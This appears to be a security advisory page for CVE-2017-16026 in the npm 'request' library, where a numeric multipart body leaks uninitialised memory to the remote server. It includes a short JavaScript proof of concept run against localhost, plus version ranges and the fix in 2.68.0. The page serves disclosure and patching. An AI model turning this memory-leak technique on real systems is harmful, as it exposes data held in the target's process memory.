Advisory

GHSA-7xfp-9c55-5vqj

Also known as: CVE-2017-16026

Summary

Remote Memory Exposure in request

Details

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
	req.on('data', function (data) {
            console.log(data)
        });
	res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
	method: "POST",
	uri: 'http://localhost:8000',
	multipart: [{body:500}]
},function(err,res,body){});

Recommendation

Update to version 2.68.0 or later

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2018-11-09 17:44 UTC
Modified
2023-11-08 03:59 UTC

Affected packages and fixes

request

npm · All systems

Affected

  • introduced 2.49.0, fixed 2.68.0 (semver)

Fixed versions

2.68.0

Fix

request

npm · All systems

Affected

  • introduced 2.2.6, fixed 2.68.0 (semver)

Fixed versions

2.68.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences